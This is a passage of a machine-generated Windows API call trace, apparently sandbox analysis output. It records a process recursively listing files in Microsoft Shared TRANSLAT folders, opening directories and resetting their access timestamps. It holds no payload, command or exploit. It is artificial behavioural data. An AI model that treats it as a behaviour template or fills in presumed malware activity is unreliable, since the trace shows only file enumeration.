nFileSizeLow=0xe64da, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1ENFR.ITS", cAlternateFileName="")) returned 0 [0055.375] GetLastError () returned 0x12 [0055.375] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459c38 [0055.375] FindClose (in: hFindFile=0x459cb8 | out: hFindFile=0x459cb8) returned 1 [0055.375] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.375] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c637800, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c637800, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0xe64da, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1ENFR.ITS", cAlternateFileName="")) returned 1 [0055.375] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c637800, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c637800, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0xe64da, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1ENFR.ITS", cAlternateFileName="")) returned 0 [0055.375] GetLastError () returned 0x12 [0055.375] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0055.375] FindClose (in: hFindFile=0x459c38 | out: hFindFile=0x459c38) returned 1 [0055.375] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf03698) returned 1 [0055.375] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0055.375] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b7fe90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ESEN", cAlternateFileName="")) returned 1 [0055.375] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0055.375] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\esen"), fInfoLevelId=0x0, lpFileInformation=0x17aeb84 | out: lpFileInformation=0x17aeb84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b7fe90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0055.376] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\esen"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0055.376] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x17aebc8, lpLastWriteTime=0x17aebc8) returned 0 [0055.376] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xf05328 [0055.376] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf05328, nOutBufferSize=0x4000, lpBytesReturned=0x17aec20, lpOverlapped=0x0 | out: lpOutBuffer=0xf05328, lpBytesReturned=0x17aec20, lpOverlapped=0x0) returned 0 [0055.376] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf05328) returned 1 [0055.376] NtClose (Handle=0x170) returned 0x0 [0055.384] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0055.384] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0055.384] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3fd8 [0055.385] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0055.385] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459c38 [0055.385] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b7fe90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.385] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9890c900, ftCreationTime.dwHighDateTime=0x1c82168, ftLastAccessTime.dwLowDateTime=0x54a7f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9890c900, ftLastWriteTime.dwHighDateTime=0x1c82168, nFileSizeHigh=0x0, nFileSizeLow=0x38200, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1ESEN.DLL", cAlternateFileName="")) returned 1 [0055.385] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.385] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.385] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.385] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.385] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.385] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.385] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22595900, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22595900, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0xff7f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1ESEN.ITS", cAlternateFileName="")) returned 1 [0055.385] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.385] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.385] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.385] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.385] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.385] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xf03698 [0055.385] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3fd8) returned 1 [0055.385] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xf04c40 [0055.385] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xf03ab8 [0055.385] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x980) returned 0xf05328 [0055.386] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef8cd8) returned 1 [0055.386] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.386] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8c79400, ftCreationTime.dwHighDateTime=0x1be6f42, ftLastAccessTime.dwLowDateTime=0x5ba5ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc8c79400, ftLastWriteTime.dwHighDateTime=0x1be6f42, nFileSizeHigh=0x0, nFileSizeLow=0xa5c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WT61ES.LEX", cAlternateFileName="")) returned 1 [0055.386] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.386] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.386] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.386] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.386] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.386] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xf04c60 [0055.386] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xf03bc0 [0055.386] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.386] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8c79400, ftCreationTime.dwHighDateTime=0x1be6f42, ftLastAccessTime.dwLowDateTime=0x5ba5ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc8c79400, ftLastWriteTime.dwHighDateTime=0x1be6f42, nFileSizeHigh=0x0, nFileSizeLow=0xa5c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WT61ES.LEX", cAlternateFileName="")) returned 0 [0055.386] GetLastError () returned 0x12 [0055.386] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459cb8 [0055.386] FindClose (in: hFindFile=0x459c38 | out: hFindFile=0x459c38) returned 1 [0055.386] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b7fe90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.386] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9890c900, ftCreationTime.dwHighDateTime=0x1c82168, ftLastAccessTime.dwLowDateTime=0x54a7f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9890c900, ftLastWriteTime.dwHighDateTime=0x1c82168, nFileSizeHigh=0x0, nFileSizeLow=0x38200, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1ESEN.DLL", cAlternateFileName="")) returned 1 [0055.386] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22595900, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22595900, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0xff7f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1ESEN.ITS", cAlternateFileName="")) returned 1 [0055.386] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8c79400, ftCreationTime.dwHighDateTime=0x1be6f42, ftLastAccessTime.dwLowDateTime=0x5ba5ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc8c79400, ftLastWriteTime.dwHighDateTime=0x1be6f42, nFileSizeHigh=0x0, nFileSizeLow=0xa5c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WT61ES.LEX", cAlternateFileName="")) returned 1 [0055.386] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8c79400, ftCreationTime.dwHighDateTime=0x1be6f42, ftLastAccessTime.dwLowDateTime=0x5ba5ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc8c79400, ftLastWriteTime.dwHighDateTime=0x1be6f42, nFileSizeHigh=0x0, nFileSizeLow=0xa5c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WT61ES.LEX", cAlternateFileName="")) returned 0 [0055.387] GetLastError () returned 0x12 [0055.387] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0055.387] FindClose (in: hFindFile=0x459cb8 | out: hFindFile=0x459cb8) returned 1 [0055.387] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf03698) returned 1 [0055.387] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0055.387] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FRAR", cAlternateFileName="")) returned 1 [0055.387] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0055.387] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\frar"), fInfoLevelId=0x0, lpFileInformation=0x17aeb84 | out: lpFileInformation=0x17aeb84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0055.388] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\frar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0055.388] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x17aebc8, lpLastWriteTime=0x17aebc8) returned 0 [0055.388] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xf05cb0 [0055.388] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf05cb0, nOutBufferSize=0x4000, lpBytesReturned=0x17aec20, lpOverlapped=0x0 | out: lpOutBuffer=0xf05cb0, lpBytesReturned=0x17aec20, lpOverlapped=0x0) returned 0 [0055.388] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf05cb0) returned 1 [0055.388] NtClose (Handle=0x178) returned 0x0 [0055.388] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0055.388] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0055.388] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3fd8 [0055.388] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0055.388] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459cb8 [0055.388] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.388] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21282c00, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x7588f30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21282c00, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0x166bae, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1FRAR.ITS", cAlternateFileName="")) returned 1 [0055.388] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.388] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.389] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.389] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.389] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.389] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xf03698 [0055.389] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3fd8) returned 1 [0055.389] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xf04c80 [0055.389] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xf03cc8 [0055.389] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.389] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21282c00, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x7588f30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21282c00, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0x166bae, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1FRAR.ITS", cAlternateFileName="")) returned 0 [0055.389] GetLastError () returned 0x12 [0055.389] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459c38 [0055.389] FindClose (in: hFindFile=0x459cb8 | out: hFindFile=0x459cb8) returned 1 [0055.389] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.389] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21282c00, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x7588f30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21282c00, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0x166bae, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1FRAR.ITS", cAlternateFileName="")) returned 1 [0055.389] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21282c00, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x7588f30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21282c00, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0x166bae, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1FRAR.ITS", cAlternateFileName="")) returned 0 [0055.389] GetLastError () returned 0x12 [0055.389] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0055.389] FindClose (in: hFindFile=0x459c38 | out: hFindFile=0x459c38) returned 1 [0055.389] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf03698) returned 1 [0055.389] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0055.389] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7516b10, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7941190, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FREN", cAlternateFileName="")) returned 1 [0055.390] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0055.390] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\fren"), fInfoLevelId=0x0, lpFileInformation=0x17aeb84 | out: lpFileInformation=0x17aeb84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7516b10, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7941190, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0055.390] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\fren"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0055.391] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x17aebc8, lpLastWriteTime=0x17aebc8) returned 0 [0055.391] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xf05cb0 [0055.391] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf05cb0, nOutBufferSize=0x4000, lpBytesReturned=0x17aec20, lpOverlapped=0x0 | out: lpOutBuffer=0xf05cb0, lpBytesReturned=0x17aec20, lpOverlapped=0x0) returned 0 [0055.391] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf05cb0) returned 1 [0055.391] NtClose (Handle=0x170) returned 0x0 [0055.391] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0055.391] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0055.391] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3fd8 [0055.391] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0055.391] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459c38 [0055.391] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7516b10, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7941190, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.391] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb22e200, ftCreationTime.dwHighDateTime=0x1c82168, ftLastAccessTime.dwLowDateTime=0x753cc70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbb22e200, 